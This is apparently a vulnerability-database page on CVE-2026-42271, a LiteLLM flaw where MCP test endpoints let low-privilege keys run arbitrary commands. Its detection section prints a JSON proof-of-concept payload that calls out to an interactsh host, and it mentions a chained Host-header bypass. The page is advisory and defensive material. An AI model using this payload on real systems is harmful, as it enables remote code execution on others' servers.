cbcvebase.
CVE-2026-42271
published 2026-05-08

CVE-2026-42271: LiteLLM is a proxy server (AI Gateway) to call LLM APIs in OpenAI (or native) format. From version 1.74.2 to before version 1.83.7, two endpoints used to…

PriorityP196high8.8CVSS 3.1
AVNACLPRLUINSUCHIHAH
KEVITWEXPLOITInitial access
CISA Known Exploited Vulnerabilitydue 2026-06-22
Exploited in the wild
EPSS
80.19%
99.6th percentile
LiteLLM is a proxy server (AI Gateway) to call LLM APIs in OpenAI (or native) format. From version 1.74.2 to before version 1.83.7, two endpoints used to preview an MCP server before saving it — POST /mcp-rest/test/connection and POST /mcp-rest/test/tools/list — accepted a full server configuration in the request body, including the command, args, and env fields used by the stdio transport. When called with a stdio configuration, the endpoints attempted to connect, which spawned the supplied command as a subprocess on the proxy host with the privileges of the proxy process. The endpoints were gated only by a valid proxy API key, with no role check. Any authenticated user — including holders of low-privilege internal-user keys — could therefore run arbitrary commands on the host. This issue has been patched in version 1.83.7.

Affected

12 ranges
VendorProductVersion rangeFixed in
ansible-automation-platform-26lightspeed-chatbot-rhel9
ansible-automation-platform-27lightspeed-chatbot-rhel9
berriailitellm
exploit-intelligence-tech-previewvulnerability-analysis-rhel9
litellmlitellm>= 1.74.2 < 1.83.71.83.7
litellmlitellm>= 1.74.2 < 1.83.71.83.7
redhatopenshift_ai
redhatopenshift_ai>= 2.25 < 2.25.82.25.8
redhatopenshift_ai>= 3.3 < 3.3.43.3.4
rhoaiodh-llama-stack-core-rhel9
rhoaiodh-mlflow-rhel9
rhoaiodh-trustyai-garak-lls-provider-dsp-rhel9

Detection & IOCsextracted from sources · hover to see the quote

urlPOST /mcp-rest/test/connection
urlPOST /mcp-rest/test/tools/list
path/mcp-rest/test/connection
command{"transport":"stdio","command":"python","args":["-c","import urllib.request;urllib.request.urlopen('https://{{interactsh-url}}')"]}
  • Detect exploitation attempts by monitoring for POST requests to /mcp-rest/test/connection or /mcp-rest/test/tools/list, especially those containing 'transport':'stdio' with 'command', 'args', or 'env' fields in the request body.
  • Monitor for anomalous Host header values (e.g., 'a/?x=') in HTTP requests to LiteLLM endpoints, indicative of the Starlette BadHost (CVE-2026-48710) authentication bypass being chained with this vulnerability.
  • Alert on unexpected subprocess execution events originating from the LiteLLM proxy process, as successful exploitation spawns attacker-controlled commands as subprocesses with proxy process privileges.
  • Review logs for unusual Host header activity and subprocess execution events as recommended mitigations for detecting active exploitation.
  • A response body containing 'Failed to connect to MCP server' with HTTP 200 status from /mcp-rest/test/connection may indicate a probe or exploitation attempt (as used in the Nuclei detection template).
  • Block POST requests to /mcp-rest/test/connection and /mcp-rest/test/tools/list at the reverse proxy or API gateway layer as an immediate mitigation.
  • ·The vulnerability affects LiteLLM versions >= 1.74.2 and < 1.83.7. The fix in 1.83.7 restricts both test endpoints to require the PROXY_ADMIN role, consistent with the save endpoint.
  • ·The endpoints were gated only by a valid proxy API key with no role check, meaning any low-privilege internal-user key holder could exploit this prior to patching.
  • ·CVE-2026-42271 has been added to CISA's KEV catalog with a remediation due date of 2026-06-22, confirming active exploitation in the wild.

CVSS provenance

nvdv3.18.8HIGHCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
nvdv4.08.7HIGHCVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vulncheck8.8HIGH
cisa8.8HIGH
vendor_redhat8.8HIGH
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